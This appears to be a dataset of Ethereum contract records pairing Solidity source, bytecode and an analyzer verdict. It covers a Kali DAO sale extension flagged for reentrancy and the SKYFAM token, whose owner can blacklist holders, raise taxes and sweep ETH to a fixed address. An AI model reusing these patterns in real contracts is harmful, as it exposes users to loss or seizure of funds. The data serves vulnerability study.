sale.personalPurchased[msg.sender] += amountOut; IKaliShareManager(dao).mintShares(msg.sender, amountOut); emit ExtensionCalled(dao, msg.sender, amountOut); } /// ----------------------------------------------------------------------- /// Sale Management /// ----------------------------------------------------------------------- function setKaliRate(uint8 kaliRate_) external payable onlyOwner { if (kaliRate_ > 100) revert RateLimit(); kaliRate = kaliRate_; emit KaliRateSet(kaliRate_); } function claimKaliFees( address to, address asset, uint256 amount ) external payable onlyOwner { if (asset == address(0)) { to._safeTransferETH(amount); } else { asset._safeTransfer(to, amount); } } }
0x6080604052600436106100d25760003560e01c80638da5cb5b1161007f578063d829b17d11610059578063d829b17d1461022a578063dd1e2e0f1461023d578063e30c397814610271578063fb0c44411461029e57600080fd5b80638da5cb5b14610198578063ac9650d8146101ea578063cf81afaa1461021757600080fd5b80633bd1adec116100b05780633bd1adec1461012557806344dc7b461461012d5780637275f6c11461014057600080fd5b80631015f46e146100d757806315dfc7c4146100fd5780631ae896c514610112575b600080fd5b6100ea6100e5366004611457565b6102b1565b6040519081526020015b60405180910390f35b61011061010b366004611499565b610850565b005b6101106101203660046114bb565b610945565b6101106109f7565b61011061013b366004611548565b610ac5565b34801561014c57600080fd5b506100ea61015b366004611594565b73ffffffffffffffffffffffffffffffffffffffff8082166000908152600460209081526040808320938616835260059093019052205492915050565b3480156101a457600080fd5b506000546101c59073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100f4565b3480156101f657600080fd5b5061020a6102053660046115cd565b610b74565b6040516100f49190611685565b610110610225366004611705565b610ce4565b610110610238366004611738565b610e1e565b34801561024957600080fd5b5061025d610258366004611792565b610ed0565b6040516100f49897969594939291906117af565b34801561027d57600080fd5b506001546101c59073ffffffffffffffffffffffffffffffffffffffff1681565b6101106102ac36600461182d565b610feb565b60006002546001146102ef576040517fab143c0600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6002805573ffffffffffffffffffffffffffffffffffffffff8316600090815260046020526040902060018101547501000000000000000000000000000000000000000000900463ffffffff16421115610375576040517f0bd8a3eb00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80541561046d5780546040517efdd58e00000000000000000000000000000000000000000000000000000000815233600482015260248101919091527f000000000000000000000000772e8423e2c90835b85126f67d33e89df792de2973ffffffffffffffffffffffffffffffffffffffff169062fdd58e906044016020604051808303816000875af1158015610410573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610434919061189f565b60000361046d576040517f665c1c5700000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60018101546000908190610100900473ffffffffffffffffffffffffffffffffffffffff1615806104be57506001830154610100900473ffffffffffffffffffffffffffffffffffffffff1661dead145b156104cb573491506104cf565b8491505b60035460ff1615610505576003546000906064906104f09060ff16856118e7565b6104fa9190611924565b830391506105089050565b50805b600183015461051a9060ff16836118e7565b600284015460038501549195506bffffffffffffffffffffffff169061054190869061195f565b1115610579576040517f64aa3de500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028301543360009081526005850160205260409020546c010000000000000000000000009091046bffffffffffffffffffffffff16906105bb90869061195f565b11156105f3576040517fc03c64e900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001830154610100900473ffffffffffffffffffffffffffffffffffffffff1661063c5761063773ffffffffffffffffffffffffffffffffffffffff87168261122f565b610730565b60018301547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff215361010090910473ffffffffffffffffffffffffffffffffffffffff1601610704576106c373ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2168261122f565b61063773ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2168783611274565b600183015461073090610100900473ffffffffffffffffffffffffffffffffffffffff16338884611303565b83836003016000828254610744919061195f565b90915550503360009081526005840160205260408120805486929061076a90849061195f565b90915550506040517f528c198a0000000000000000000000000000000000000000000000000000000081523360048201526024810185905273ffffffffffffffffffffffffffffffffffffffff87169063528c198a90604401600060405180830381600087803b1580156107dd57600080fd5b505af11580156107f1573d6000803e3d6000fd5b505060405186815233925073ffffffffffffffffffffffffffffffffffffffff891691507fe29845e5b466b9faae3f6ea1e46159fd4c7668593a558dfb5a8692e63f5197479060200160405180910390a3505060016002555092915050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108a1576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60648160ff1611156108df576040517f45b22d3200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff83169081179091556040519081527f4128ef664a16bcd2d0c298fa71d9e168e0a49165e5afe62a2d4957ce618854e59060200160405180910390a150565b60005473ffffffffffffffffffffffffffffffffffffffff163314610996576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166109d6576109d173ffffffffffffffffffffffffffffffffffffffff84168261122f565b505050565b6109d173ffffffffffffffffffffffffffffffffffffffff83168483611274565b60015473ffffffffffffffffffffffffffffffffffffffff163314610a48576040517f1853971c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091169055565b6040517f9381873600000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000772e8423e2c90835b85126f67d33e89df792de291690639381873690610b3d903390879087908790600401611977565b600060405180830381600087803b158015610b5757600080fd5b505af1158015610b6b573d6000803e3d6000fd5b50505050505050565b60608167ffffffffffffffff811115610b8f57610b8f6119f0565b604051908082528060200260200182016040528015610bc257816020015b6060815260200190600190039081610bad5790505b50905060005b82811015610cdd5760008030868685818110610be657610be6611a1f565b9050602002810190610bf89190611a4e565b604051610c06929190611ab3565b600060405180830381855af49150503d8060008114610c41576040519150601f19603f3d011682016040523d82523d6000602084013e610c46565b606091505b509150915081610cb557604481511015610c5f57600080fd5b60048101905080806020019051810190610c799190611b58565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac9190611bd4565b60405180910390fd5b80848481518110610cc857610cc8611a1f565b60209081029190910101525050600101610bc8565b5092915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d35576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8015610dac57600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff841690811790915560405133907f9ec5e8a8570175aab7177ee9b6c25114b17313be21084d38d91b88409d6748ed90600090a35050565b6040517fd505accf000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018690526064810185905260ff8416608482015260a4810183905260c4810182905273ffffffffffffffffffffffffffffffffffffffff87169063d505accf9060e401600060405180830381600087803b158015610eb057600080fd5b505af1158015610ec4573d6000803e3d6000fd5b50505050505050505050565b600460208190526000918252604090912080546001820154600283015460038401549484018054939560ff841695610100850473ffffffffffffffffffffffffffffffffffffffff1695750100000000000000000000000000000000000000000090950463ffffffff16946bffffffffffffffffffffffff808616956c010000000000000000000000009004169390610f6890611be7565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9490611be7565b8015610fe15780601f10610fb657610100808354040283529160200191610fe1565b820191906000526020600020905b815481529060010190602001808311610fc457829003601f168201915b5050505050905088565b6000808080808080610fff888a018a611c56565b96509650965096509650965096508560ff1660000361104a576040517f4b5746c000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b33600090815260046020818152604090922089815560018101805463ffffffff89167501000000000000000000000000000000000000000000027fffffffffffffff00000000ffffffffffffffffffffffffffffffffffffffffff73ffffffffffffffffffffffffffffffffffffffff8c16610100027fffffffffffffffffffffff00000000000000000000000000000000000000000090931660ff8e161792909217919091161790556002810180546bffffffffffffffffffffffff8781166c01000000000000000000000000027fffffffffffffffff00000000000000000000000000000000000000000000000090921690891617179055835190926111589284019190850190611399565b503373ffffffffffffffffffffffffffffffffffffffff167f9e0a9514f1871d7b79833eb8f4c2ce6ba7154bca58f72fb6fd5a4d22555318a8898989898989896040516111ab9796959493929190611d3b565b60405180910390a250505050505050505050565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831690811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350565b600080600080600085875af19050806109d1576040517f23c133f200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60006040517fa9059cbb000000000000000000000000000000000000000000000000000000008152836004820152826024820152602060006044836000895af13d15601f3d11600160005114161716915050806112fd576040517f90b8ec1800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60006040517f23b872dd0000000000000000000000000000000000000000000000000000000081528460048201528360248201528260448201526020600060648360008a5af13d15601f3d1160016000511416171691505080611392576040517f7939f42400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5050505050565b8280546113a590611be7565b90600052602060002090601f0160209004810192826113c7576000855561140d565b82601f106113e057805160ff191683800117855561140d565b8280016001018555821561140d579182015b8281111561140d5782518255916020019190600101906113f2565b5061141992915061141d565b5090565b5b80821115611419576000815560010161141e565b73ffffffffffffffffffffffffffffffffffffffff8116811461145457600080fd5b50565b6000806040838503121561146a57600080fd5b823561147581611432565b946020939093013593505050565b803560ff8116811461149457600080fd5b919050565b6000602082840312156114ab57600080fd5b6114b482611483565b9392505050565b6000806000606084860312156114d057600080fd5b83356114db81611432565b925060208401356114eb81611432565b929592945050506040919091013590565b60008083601f84011261150e57600080fd5b50813567ffffffffffffffff81111561152657600080fd5b6020830191508360208260051b850101111561154157600080fd5b9250929050565b60008060006040848603121561155d57600080fd5b83359250602084013567ffffffffffffffff81111561157b57600080fd5b611587868287016114fc565b9497909650939450505050565b600080604083850312156115a757600080fd5b82356115b281611432565b915060208301356115c281611432565b809150509250929050565b600080602083850312156115e057600080fd5b823567ffffffffffffffff8111156115f757600080fd5b611603858286016114fc565b90969095509350505050565b60005b8381101561162a578181015183820152602001611612565b838111156112fd5750506000910152565b6000815180845261165381602086016020860161160f565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b828110156116f8577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08886030184526116e685835161163b565b945092850192908501906001016116ac565b5092979650505050505050565b6000806040838503121561171857600080fd5b823561172381611432565b9150602083013580151581146115c257600080fd5b60008060008060008060c0878903121561175157600080fd5b863561175c81611432565b9550602087013594506040870135935061177860608801611483565b92506080870135915060a087013590509295509295509295565b6000602082840312156117a457600080fd5b81356114b481611432565b60006101008a835260ff8a16602084015273ffffffffffffffffffffffffffffffffffffffff8916604084015263ffffffff881660608401526bffffffffffffffffffffffff808816608085015280871660a0850152508460c08401528060e084015261181e8184018561163b565b9b9a5050505050505050505050565b6000806020838503121561184057600080fd5b823567ffffffffffffffff8082111561185857600080fd5b818501915085601f83011261186c57600080fd5b81358181111561187b57600080fd5b86602082850101111561188d57600080fd5b60209290920196919550909350505050565b6000602082840312156118b157600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561191f5761191f6118b8565b500290565b60008261195a577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60008219821115611972576119726118b8565b500190565b73ffffffffffffffffffffffffffffffffffffffff851681528360208201526060604082015281606082015260007f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8311156119d257600080fd5b8260051b808560808501376000920160800191825250949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112611a8357600080fd5b83018035915067ffffffffffffffff821115611a9e57600080fd5b60200191503681900382131561154157600080fd5b8183823760009101908152919050565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715611b0a57611b0a6119f0565b604052919050565b600067ffffffffffffffff821115611b2c57611b2c6119f0565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b600060208284031215611b6a57600080fd5b815167ffffffffffffffff811115611b8157600080fd5b8201601f81018413611b9257600080fd5b8051611ba5611ba082611b12565b611ac3565b818152856020838501011115611bba57600080fd5b611bcb82602083016020860161160f565b95945050505050565b6020815260006114b4602083018461163b565b600181811c90821680611bfb57607f821691505b602082108103611c34577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b80356bffffffffffffffffffffffff8116811461149457600080fd5b600080600080600080600060e0888a031215611c7157600080fd5b87359650611c8160208901611483565b95506040880135611c9181611432565b9450606088013563ffffffff81168114611caa57600080fd5b9350611cb860808901611c3a565b9250611cc660a08901611c3a565b915060c088013567ffffffffffffffff811115611ce257600080fd5b8801601f81018a13611cf357600080fd5b8035611d01611ba082611b12565b8181528b6020838501011115611d1657600080fd5b8160208401602083013760006020838301015280935050505092959891949750929550565b87815260ff8716602082015273ffffffffffffffffffffffffffffffffffffffff8616604082015263ffffffff8516606082015260006bffffffffffffffffffffffff808616608084015280851660a08401525060e060c0830152611da360e083018461163b565b999850505050505050505056fea264697066735822122059f50870bb4e63b29ebb32beeb08ae4a411b182f54684799dfa6efd6cf4b35e964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,441
0x141f97cda26210d21bb0044ef44c365a0f9c508b
/** *Submitted for verification at Etherscan.io on 2022-03-07 */ /* OFFICIAL CONTRACT OF SKYFAM Follow our socials for more info Telegram : https://t.me/skyfam_global Announcement : https://t.me/skyfam_ann Twitter : https://twitter.com/skyfam_io Medium : https://medium.com/@skyfam Website : https://skyfam.io/ */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract skyfamofficial is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "SKYFAM"; string private constant _symbol = "SKYFAM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x8eCCCC0b57D2A5fFe6b0faA2A83EdF8763a5705f); _buyTax = 12; _sellTax = 15; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 1_000_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 1_000_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 25) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 25) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610313578063c3c8cd8014610333578063c9567bf914610348578063dbe8272c1461035d578063dc1052e21461037d578063dd62ed3e1461039d57600080fd5b8063715018a6146102a15780638da5cb5b146102b657806395d89b411461015c5780639e78fb4f146102de578063a9059cbb146102f357600080fd5b806323b872dd116100f257806323b872dd14610210578063273123b714610230578063313ce567146102505780636fc3eaec1461026c57806370a082311461028157600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019a57806318160ddd146101ca5780631bbae6e0146101f057600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611845565b6103e3565b005b34801561016857600080fd5b506040805180820182526006815265534b5946414d60d01b6020820152905161019191906118c2565b60405180910390f35b3480156101a657600080fd5b506101ba6101b5366004611753565b610434565b6040519015158152602001610191565b3480156101d657600080fd5b5068056bc75e2d631000005b604051908152602001610191565b3480156101fc57600080fd5b5061015a61020b36600461187d565b61044b565b34801561021c57600080fd5b506101ba61022b366004611713565b61048e565b34801561023c57600080fd5b5061015a61024b3660046116a3565b6104f7565b34801561025c57600080fd5b5060405160098152602001610191565b34801561027857600080fd5b5061015a610542565b34801561028d57600080fd5b506101e261029c3660046116a3565b610576565b3480156102ad57600080fd5b5061015a610598565b3480156102c257600080fd5b506000546040516001600160a01b039091168152602001610191565b3480156102ea57600080fd5b5061015a61060c565b3480156102ff57600080fd5b506101ba61030e366004611753565b61084b565b34801561031f57600080fd5b5061015a61032e36600461177e565b610858565b34801561033f57600080fd5b5061015a6108fc565b34801561035457600080fd5b5061015a61093c565b34801561036957600080fd5b5061015a61037836600461187d565b610b04565b34801561038957600080fd5b5061015a61039836600461187d565b610b3c565b3480156103a957600080fd5b506101e26103b83660046116db565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104165760405162461bcd60e51b815260040161040d90611915565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610441338484610b74565b5060015b92915050565b6000546001600160a01b031633146104755760405162461bcd60e51b815260040161040d90611915565b670de0b6b3a764000081111561048b5760108190555b50565b600061049b848484610c98565b6104ed84336104e885604051806060016040528060288152602001611a93602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8f565b610b74565b5060019392505050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161040d90611915565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161040d90611915565b4761048b81610fc9565b6001600160a01b03811660009081526002602052604081205461044590611003565b6000546001600160a01b031633146105c25760405162461bcd60e51b815260040161040d90611915565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161040d90611915565b600f54600160a01b900460ff16156106905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f057600080fd5b505afa158015610704573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072891906116bf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077057600080fd5b505afa158015610784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a891906116bf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f057600080fd5b505af1158015610804573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082891906116bf565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610441338484610c98565b6000546001600160a01b031633146108825760405162461bcd60e51b815260040161040d90611915565b60005b81518110156108f8576001600660008484815181106108b457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f081611a28565b915050610885565b5050565b6000546001600160a01b031633146109265760405162461bcd60e51b815260040161040d90611915565b600061093130610576565b905061048b81611087565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161040d90611915565b600e546109879030906001600160a01b031668056bc75e2d63100000610b74565b600e546001600160a01b031663f305d71947306109a381610576565b6000806109b86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1b57600080fd5b505af1158015610a2f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a549190611895565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610acc57600080fd5b505af1158015610ae0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611861565b6000546001600160a01b03163314610b2e5760405162461bcd60e51b815260040161040d90611915565b601981101561048b57600b55565b6000546001600160a01b03163314610b665760405162461bcd60e51b815260040161040d90611915565b601981101561048b57600c55565b6001600160a01b038316610bd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040d565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a